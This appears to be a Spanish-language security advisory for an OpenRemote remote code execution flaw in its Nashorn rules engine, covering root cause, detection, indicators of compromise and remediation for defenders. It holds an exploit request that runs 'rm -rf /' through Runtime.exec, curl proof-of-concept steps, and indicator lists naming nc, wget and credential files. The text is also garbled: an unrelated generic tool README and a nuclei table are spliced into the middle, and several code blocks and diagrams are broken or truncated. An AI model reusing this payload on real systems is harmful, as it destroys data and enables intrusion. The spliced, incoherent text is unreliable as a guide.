Internet / Network
                         |
                ┌────────┴────────┐
                v                 v
        ┌──────────────┐  ┌──────────────┐
        | Web Browser  |  | Mobile App   |
        └──────────────┘  └──────────────┘
                |                 |
                └────────┬────────┘
                         v
                ┌──────────────────┐
                | OpenRemote API   |
                | (REST/WebSocket) |
                └────────┬─────────┘
                         v
                ┌──────────────────┐
                | Manager Service  |
                |  (Port 8080)     |
                └────────┬─────────┘
                         |
    ┌────────────────────┼────────────────────┐
    |                    |                    |
    v                    v                    v

---

## Análisis Profundo de la Vulnerabilidad

### Análisis de la Causa Raíz

La vulnerabilidad se origina en dos fallos críticos en el motor de reglas de OpenRemote:

**Fallo 1: Motor JavaScript Nashorn sin sandbox**

El motor JavaScript Nashorn de Java se utiliza para evaluar expresiones de reglas proporcionadas por el usuario sin ningún sandbox, administrador de seguridad ni restricciones de ClassFilter. Esto permite a los atacantes acceder a clases de Java directamente desde el contexto de JavaScript.

**Fallo 2: Sandbox de Groovy deshabilitado**

El motor de scripts Groovy tenía un GroovyDenyAllFilter registrado para prevenir la ejecución de código, pero este registro de filtro estaba comentado en el código base. Solo existía una aplicación de Groovy a nivel de API (RulesResourceImpl.java:262), pero JavaScript no tenía restricciones.

### Rutas de Código Vulnerables```
RulesResource.java (lines 153-158)
    |
    > POST request handler for rule creation
    |
    v
RulesetDeployment.java (line 368)
    |
    > scriptEngine.eval(ruleExpression)
    |
    v
Nashorn Engine
    |
    > No ClassFilter / SecurityManager
    > Java.type() accessible
    > Runtime.exec() available

Esto significa:
- Los usuarios no superusuarios PUEDEN crear reglas JavaScript (sin bloqueo)
- Los usuarios no superusuarios NO PUEDEN crear reglas Groovy (bloqueadas)
- JavaScript no tiene sandboxing, por lo que la explotación es posible para cualquier usuario autenticado con write:rules

Además, el aislamiento multiinquilino se puede eludir mediante reflexión sobre assetStorageService para acceder a los datos de otros realms.

### Flujo de Ataque```
┌─────────────────────────────────────────────────────┐
| 1. Attacker authenticates with write:rules role     |
└─────────────────────────────────────────────────────┘
                         |
                         v
┌─────────────────────────────────────────────────────┐
| 2. POST /api/{realm}/rules/realm with JS expression|
└─────────────────────────────────────────────────────┘
                         |
                         v
┌─────────────────────────────────────────────────────┐
| 3. Expression passes validation (no checks)         |
└─────────────────────────────────────────────────────┘
                         |
                         v
┌─────────────────────────────────────────────────────┐
| 4. RulesetDeployment.java calls scriptEngine.eval() |
└─────────────────────────────────────────────────────┘
                         |
                         v
┌─────────────────────────────────────────────────────┐
| 5. Nashorn Engine executes JavaScript payload      |
└─────────────────────────────────────────────────────┘
                         |
                         v
┌─────────────────────────────────────────────────────┐
| 6. Java.type("java.lang.Runtime") access granted   |
└─────────────────────────────────────────────────────┘
                         |
                         v
┌─────────────────────────────────────────────────────┐
| 7. Arbitrary command execution as root              |
└─────────────────────────────────────────────────────┘

**Paso 3: Enviar al endpoint vulnerable**```
POST /api/{realm}/rules/realm HTTP/1.1
Content-Type: application/json

{
    "name": "malicious_rule",
    "enabled": true,
    "trigger": "timer",
    "actions": [
        {
            "type": "local_action",
            "target": "asset_id",
            "action": "perform_action",
            "value": "// Payload here"
        }
    ],
    "ruleExpression": "var runtime = Java.type('java.lang.Runtime').getRuntime(); runtime.exec('rm -rf /');"
}

#### Acceso al Sistema de Archivos

Acceso completo de lectura y escritura a todos los archivos del sistema:

- Divulgación del código fuente de la aplicación
- Archivos de configuración sensibles (contraseñas de bases de datos, claves API)
- Archivos del sistema y credenciales
- Archivos de contenedores Docker (si está contenerizado)

#### Robo de Variables de Entorno

Acceso a variables de entorno que contienen:
- Cadenas de conexión de bases de datos
- Claves API y tokens
- Secretos OAuth
- Claves de cifrado privadas
- Credenciales AWS/Cloud

#### Fuga de Datos

En implementaciones multiinquilino, los atacantes pueden eludir el aislamiento entre inquilinos mediante reflexión:

- Acceder a datos de todos los inquilinos simultáneamente
- Leer datos confidenciales de sensores IoT
- Modificar reglas de automatización entre organizaciones
- Extraer inteligencia empresarial e información propietaria

#### Integridad del Sistema

- Instalación permanente de puertas traseras
- Despliegue de malware
- Ejecución de ransomware
- Compromiso de la cadena de suministro (si se usa en desarrollo)

#### Interrupción del Servicio

- Denegación de servicio mediante agotamiento de recursos
- Eliminación o corrupción de bases de datos
- Manipulación de la configuración
- Apagado o reinicio del sistema

---

## Versiones Afectadas

| Versión | Estado | Notas |
|---------|--------|-------|
| <= 1.15.0 | Vulnerable | Vulnerabilidad original presente |
| 1.16.0 | Vulnerable | Sin correcciones aplicadas |
| 1.17.0 | Vulnerable | Sin correcciones aplicadas |
| 1.18.0 | Vulnerable | Sin correcciones aplicadas |
| 1.19.0 | Vulnerable | Sin correcciones aplicadas |
| 1.20.0 | Vulnerable | Sin correcciones aplicadas |
| 1.21.0 | Vulnerable | Última versión afectada |
| 1.22.0+ | CORREGIDA | Motor de reglas JavaScript eliminado por completo |

### Detalles de Versión

- **Rango Vulnerable**: 1.0.0 hasta 1.21.0 (todas las versiones con motor de reglas JS)
- **Versión Corregida**: 1.22.0 (motor de reglas JavaScript eliminado por completo)
- **Backports**: No hay backports de seguridad disponibles para versiones anteriores; se requiere actualización

---

## Detección

### Cómo Funciona

Los mecanismos de detección identifican instancias de OpenRemote y verifican el estado de vulnerabilidad mediante múltiples métodos:

1. **Detección por Banner HTTP**: Consulta el endpoint raíz de la API para identificar OpenRemote y extraer información de versión
2. **Huella de Endpoints**: Prueba endpoints vulnerables para verificar su presencia y comportamiento
3. **Correlación de Versiones**: Compara la versión detectada con los rangos de vulnerabilidad conocidos
4. **Análisis de Respuestas**: Examina mensajes de error y estructuras de respuesta en busca de firmas de OpenRemote

### Escáner Python

El escáner `detect_openremote.py` realiza detección automatizada y evaluación de vulnerabilidad.

#### Instalación```bash
python3 -m pip install requests

#### Opciones

| Opción | Corta | Larga | Tipo | Descripción |
|--------|-------|-------|------|-------------|
| Objetivo | -t | --target | string | URL de un solo objetivo (p. ej., http://10.0.0.1:8080) |
| Lista | -l | --list | file | Archivo que contiene una lista de objetivos (uno por línea) |
| Salida | -o | --output | file | Escribir resultados en un archivo CSV |
| Verboso | -v | --verbose | flag | Habilitar salida detallada con respuestas completas |
| Tiempo de espera | | --timeout | int | Tiempo de espera de la solicitud HTTP en segundos (predeterminado: 10) |
| Banner | | --no-banner | flag | Omitir la impresión del banner |

#### Ejemplo: Objetivo Único```bash
python3 detect_openremote.py --target http://10.0.0.1:8080 --verbose

#### Ejemplo: Múltiples objetivos con salida```bash
python3 detect_openremote.py --list targets.txt --output results.csv --timeout 15

| Campo | Valor |
|-------|-------|
| `tool_name` | `nuclei` |
| `tool_version` | `3.4.3` |
| `tool_description` | `Nuclei es un escáner de vulnerabilidades rápido y basado en plantillas, enfocado en la entrega de exploits, la evaluación de la gravedad y la compatibilidad con la comunidad.` |
| `github_url` | `https://github.com/projectdiscovery/nuclei` |
| `license` | `MIT` |
| `references` | `https://docs.projectdiscovery.io/templates/introduction` |
| `category` | `vulnerability-scanner` |
| `language` | `Go` |
| `platform` | `linux` |
| `installation` | `go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest` |
| `usage_example` | `nuclei -u https://example.com` |
| `additional_notes` | `Nuclei utiliza plantillas YAML para definir comprobaciones de seguridad personalizables y escalables.` |```
Target,Status,Version,Vulnerable,CVSS
http://192.168.1.100:8080,OpenRemote Detected,1.21.0,YES,10.0
http://192.168.1.101:8080,OpenRemote Detected,1.20.0,YES,10.0
https://openremote.example.com:8443,OpenRemote Detected,1.22.1,NO,-
http://10.20.30.40:8080,Not OpenRemote,-,-,-

Salida detallada esperada:```
[*] Target: http://10.0.0.1:8080
[*] Probing for OpenRemote...
[*] HTTP GET /
    Response Code: 200
    Server: Apache
    Content-Type: text/html
[*] Checking /api/info
    Response Code: 200
    Body: {"version":"1.21.0","name":"OpenRemote"}
[+] OpenRemote 1.21.0 identified
[+] Version 1.21.0 is vulnerable to CVE-2026-39842
[!] CVSS: 10.0 Critical
[!] RCE Confirmed: YES

#### Uso```bash
nmap -p 8080 --script openremote-detect <target>
nmap -p 8080 --script openremote-detect --script-args openremote-detect.verbose=true <target>

Nmap scan report for 192.168.1.100
Host is up (0.0042s latency).
8080/tcp open  http-proxy
| openremote-detect:
|   Status: OpenRemote Detected
|   Version: 1.21.0
|   Vulnerable: YES
|   CVE: CVE-2026-39842
|_  CVSS: 10.0 Critical

Nmap scan report for 192.168.1.101
Host is up (0.0031s latency).
8080/tcp open  http-proxy
| openremote-detect:
|   Status: OpenRemote Detected
|   Version: 1.22.1
|   Vulnerable: NO
|   Fixed Version: 1.22.0
|_  Status: Patched
```
#### Ejemplo: Escaneo Verboso```bash
nmap -p 8080 --script openremote-detect --script-args openremote-detect.verbose=true -oX results.xml 192.168.1.100
```
Salida detallada esperada:```
| openremote-detect:
|   Host: 192.168.1.100:8080
|   Detection Method: HTTP Banner Analysis
|   Probe Endpoint: /api/info
|   Response Code: 200
|   Version: 1.21.0
|   Version Detected: YES
|   Vulnerable: YES
|   CVE-2026-39842: AFFECTED
|   CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
|   CVSS Score: 10.0
|   Fix Available: YES
|   Fixed Version: 1.22.0
|   Authentication Required: YES
|   Endpoint Vulnerable: POST /api/{realm}/rules/realm
|_  Endpoint Vulnerable: POST /api/{realm}/rules/asset
```
### Verificación Manual

Realiza comprobaciones manuales usando curl para verificar la vulnerabilidad:

**1. Identificar la versión de OpenRemote**```bash
curl -s http://target:8080/api/info | jq .
```
## Instalación

```bash
# Clonar el repositorio
git clone https://github.com/example/tool.git

# Entrar al directorio
cd tool

# Instalar dependencias
pip install -r requirements.txt
```

## Uso

```bash
python tool.py --target example.com --output results.txt
```

## Opciones

| Opción | Descripción |
|--------|-------------|
| `--target` | Especifica el objetivo a escanear |
| `--output` | Archivo de salida para los resultados |
| `--verbose` | Muestra información detallada durante la ejecución |

## Ejemplos

### Escaneo básico

```bash
python tool.py --target example.com
```

### Escaneo con salida a archivo

```bash
python tool.py --target example.com --output resultados.txt
```

### Escaneo detallado

```bash
python tool.py --target example.com --verbose
```

## Solución de problemas

Si encuentras errores de permisos, asegúrate de ejecutar el script con los privilegios adecuados:

```bash
sudo python tool.py --target example.com
```

Para problemas de dependencias, intenta actualizar pip:

```bash
pip install --upgrade pip
```

## Contribuciones

Las contribuciones son bienvenidas. Por favor, abre un issue o envía un pull request en el repositorio.

## Licencia

Este proyecto está bajo la licencia MIT. Consulta el archivo `LICENSE` para más detalles.```json
{
  "version": "1.21.0",
  "name": "OpenRemote",
  "instanceId": "instance-123"
}
```
**2. Comprobar el endpoint de reglas**```bash
curl -s -H "Authorization: Bearer TOKEN" \
  http://target:8080/api/master/rules/realm | head -20
```
Si devuelve 401 o 403, el endpoint existe pero requiere autenticación.

**3. Autenticarse y probar la inyección de expresiones**```bash
curl -X POST \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer YOUR_TOKEN" \
  -d '{
    "name": "test_rule",
    "trigger": "timer",
    "ruleExpression": "1 + 1"
  }' \
  http://target:8080/api/master/rules/realm
```
Si la creación es exitosa y la versión <= 1.21.0, la instancia es vulnerable.

**4. Probar la ejecución de JavaScript (Prueba de concepto)**```bash
curl -X POST \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer YOUR_TOKEN" \
  -d '{
    "name": "poc_rule",
    "trigger": "timer",
    "ruleExpression": "var x = 5; x * 2;"
  }' \
  http://target:8080/api/master/rules/realm
```
**5. Identificar el nombre del Realm**```bash
curl -s -H "Authorization: Bearer TOKEN" \
  http://target:8080/api/admin/realms | jq .[].name
```
Common realm names: `master`, `default`, `main`

---

## Indicadores de Compromiso

### Indicadores de Registro

Busque estos patrones en los registros de la aplicación:

**Creación de reglas con carga útil de JavaScript**```
Pattern: POST /api/.*/rules/.* with JavaScript containing Java.type
Example Log: "2026-04-16 14:32:18 POST /api/master/rules/realm - RulesetDeployment evaluating expression with Java.type"
```
**Intentos de Ejecución de Comandos en Reglas**```
Pattern: "Java.type" or "java.lang.Runtime" or "exec(" in rule expressions
Example Log: "RulesetDeployment - Expression contains Runtime.getRuntime().exec()"
```
**Ejecución inesperada de procesos desde Java**```
Pattern: Child processes spawned by OpenRemote Java process
Command: ps aux | grep -i openremote
Look for: bash, sh, curl, wget, nc spawned by java process
```
**Anomalías de Acceso al Sistema de Archivos**```
Pattern: Unexpected file reads from application directory
Files to monitor:
- /opt/openremote/config/
- /opt/openremote/.env
- /root/.ssh/
- /etc/passwd
```
**Patrones de Acceso a la Base de Datos**```
Pattern: SELECT queries accessing other realms' data
Anomaly: Queries from rules engine accessing cross-tenant data
Example: SELECT * FROM ASSET WHERE REALM_ID NOT IN (user_realm)
```
### Indicadores de Red

**Conexiones salientes desde el proceso de OpenRemote**```
netstat -tlnp | grep -i java
Look for: Unexpected ESTABLISHED connections
Example: java process connecting to external C2 servers
```
**Devoluciones de Llamada de Shell Inversa**```
Pattern: Outbound TCP/UDP connections from port 8080 server
Destinations: Suspicious IPs, non-standard ports
Command: tcpdump -i any -n 'src host TARGET and (dst port 443 or dst port 4444 or dst port 9001)'
```
**Intentos de Movimiento Lateral**```
Pattern: Connections to internal resources (databases, APIs)
From: OpenRemote process
To: Database servers, internal APIs, SSH services
```
### Indicadores del Sistema de Archivos

**Archivos sospechosos en el directorio de OpenRemote**```
/opt/openremote/.backdoor
/opt/openremote/shell.sh
/opt/openremote/config/stolen_data.txt
/var/tmp/openremote_exploit
/tmp/.java*
```
**Binarios OpenRemote Modificados**```
find /opt/openremote -type f -newer /opt/openremote/VERSION.txt
find /opt/openremote -name "*.jar" -exec sha256sum {} \; | compare with known hashes
```
**Trabajos Cron o de Persistencia**```
cat /etc/cron.d/* | grep openremote
cat /var/spool/cron/crontabs/* | grep -i java
cat ~/.bashrc ~/.bash_profile | grep -v '^#'
```
### Indicadores de Memoria y Procesos

**Variables de Entorno Sospechosas**```
cat /proc/$(pgrep -f openremote | head -1)/environ | tr '\0' '\n' | grep -E 'REVERSE|SHELL|BACKDOOR'
```
**Cargas útiles residentes en memoria**```
strings /proc/$(pgrep -f openremote | head -1)/maps | grep -E 'bash|nc|/tmp'
```
---

## Remediation

### ACCIONES INMEDIATAS (0-24 horas)

**1. Actualizar a la versión corregida**

La corrección completa solo está disponible en OpenRemote 1.22.0+, que elimina por completo el motor de reglas JavaScript.```bash
# Backup current installation
cp -r /opt/openremote /opt/openremote.backup.1.21.0
mysqldump -u root -p openremote > /backup/openremote_1.21.0.sql

# Download and install 1.22.0+
wget https://releases.openremote.io/openremote-1.22.0.tar.gz
tar -xzf openremote-1.22.0.tar.gz -C /opt/
systemctl restart openremote

# Verify version
curl -s http://localhost:8080/api/info | jq .version
```
**2. Restringir el acceso a la API**

Si la actualización inmediata no es posible, restrinja el acceso a los endpoints vulnerables a nivel del firewall/proxy inverso:```nginx
# Nginx example
location ~ ^/api/.*/rules/ {
    return 403;
}
```
**3. Auditar reglas activas**

Enumera todas las reglas existentes y revisa si hay JavaScript sospechoso:```bash
curl -s -H "Authorization: Bearer ADMIN_TOKEN" \
  http://localhost:8080/api/master/rules/realm | \
  jq '.[] | select(.ruleExpression | contains("Java.type") or contains("Runtime"))'
```
Elimina cualquier regla que contenga interoperabilidad con Java:```bash
curl -X DELETE \
  -H "Authorization: Bearer ADMIN_TOKEN" \
  http://localhost:8080/api/master/rules/realm/{RULE_ID}
```
**4. Revisar los registros de acceso**

Compruebe si hay intentos de explotación en los últimos 30 días:```bash
grep -r "rules/realm\|rules/asset" /opt/openremote/logs/ | \
  grep -i "java\|runtime\|exec\|type"
```
**5. Rotación de credenciales**

Rote todas las credenciales potencialmente expuestas:```
- OpenRemote admin passwords
- Database passwords
- API keys and tokens
- SSH keys if accessible
- Environment variable secrets
```
### ACCIONES A CORTO PLAZO (1-7 días)

**1. Segmentación de red**

Restrinja el acceso a la API de OpenRemote únicamente a redes autorizadas:```
- Block external internet access to port 8080
- Implement VPN/SSO requirement for API access
- Use API gateway with authentication/authorization
```
**2. Auditorías de roles**

Revisa y minimiza los usuarios con el rol `write:rules`:```bash
curl -s -H "Authorization: Bearer ADMIN_TOKEN" \
  http://localhost:8080/api/admin/users | \
  jq '.[] | select(.roles | contains("write:rules"))'
```
Remove el rol `write:rules` de todos los usuarios no esenciales.

**3. Habilitar el registro de solicitudes**

Configure un registro detallado para todas las solicitudes de API:```yaml
# application.properties
logging.level.org.openremote.manager.rules=DEBUG
logging.level.org.openremote.manager.rules.RulesResource=TRACE
```
**4. Auditoría de Base de Datos**

Buscar en la base de datos reglas maliciosas creadas después de una fecha específica:```sql
SELECT id, name, ruleset_def, created_on 
FROM RULE 
WHERE created_on > '2026-04-01' 
AND (
  ruleset_def LIKE '%Java.type%' 
  OR ruleset_def LIKE '%Runtime%'
  OR ruleset_def LIKE '%exec%'
);
```
**5. Búsqueda de amenazas**

Ejecute análisis de seguridad completos en el servidor OpenRemote:```bash
# ClamAV malware scan
clamscan -r --remove /opt/openremote/

# Check for backdoors
chkrootkit
rkhunter --check --skip-warnings

# File integrity verification
aide --check
```
### ACCIONES A LARGO PLAZO (7-30 días)

**1. Endurecimiento completo del sistema**

- Ejecutar OpenRemote en un contenedor con privilegios restringidos (no root)
- Implementar políticas SELinux o AppArmor
- Usar sistemas de archivos de solo lectura cuando sea posible
- Habilitar el registro de auditoría a nivel de sistema

**2. Implementación del control de acceso**

- Implementar autenticación multifactor para usuarios administradores
- Usar OAuth2/OIDC para el acceso a la API en lugar de autenticación por token
- Implementar el principio de mínimo privilegio para todos los roles
- Revisiones periódicas de acceso y certificación

**3. Seguridad de la aplicación**

- Implementar reglas de Web Application Firewall (WAF) para el motor de reglas
- Habilitar la limitación de velocidad de solicitudes en endpoints sensibles
- Implementar límites de tamaño de solicitudes
- Validar estrictamente toda la entrada del usuario

**4. Monitoreo y alertas**

Desplegar reglas de detección SIEM:```
Alert on:
- Any POST to /api/*/rules/* endpoints with JavaScript content
- Java.type or Runtime in request body
- Multiple rule creation attempts in short time window
- Rule modification by non-admin users
- Unusual process spawning from OpenRemote JVM
```
**5. Plan de Respuesta a Incidentes**

Crear y probar procedimientos de respuesta a incidentes:

- Pasos de aislamiento para instancias OpenRemote comprometidas
- Procedimientos de recopilación de evidencia forense
- Procedimientos de notificación para clientes afectados
- Procedimientos de recuperación y limpieza
- Revisiones posteriores al incidente

**6. Monitoreo Continuo**

Implementar monitoreo continuo de seguridad:```bash
# Daily vulnerability scan
nmap -p 8080 --script openremote-detect \
  $(cat /etc/openremote/monitored_hosts.txt) \
  --script-args 'onerror=continue' \
  -oX /var/log/openremote-scan.xml

# Automated alerts for vulnerable versions
if version <= 1.21.0; then
    send_alert "CVE-2026-39842: Unpatched OpenRemote detected"
fi
```
---

## Referencias

- **Aviso oficial**: https://github.com/advisories/GHSA-7mqr-33rv-p3mp
- **Registro CVE**: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39842
- **Entrada NVD**: https://nvd.nist.gov/vuln/detail/CVE-2026-39842
- **Repositorio de OpenRemote**: https://github.com/openremote/openremote
- **Seguridad de OpenRemote**: https://openremote.io/security
- **CWE-94 Inyección de código**: https://cwe.mitre.org/data/definitions/94.html
- **CWE-917 Inyección EL**: https://cwe.mitre.org/data/definitions/917.html
- **Calculadora CVSS**: https://www.first.org/cvss/calculator/3.1
- **Seguridad de Nashorn**: https://docs.oracle.com/javase/8/docs/technotes/guides/scripting/nashorn/api.html
- **Java SecurityManager**: https://docs.oracle.com/javase/8/docs/technotes/guides/security/permissions.html

---

## Autor

**Kerem Oruc**

Investigador de seguridad, Divulgación de vulnerabilidades

Para preguntas, informes o información adicional sobre esta vulnerabilidad, comuníquese con el autor a través de los canales de divulgación responsable.

---

**Última actualización**: 2026-04-16
**Versión**: 1.0
**Estado**: Público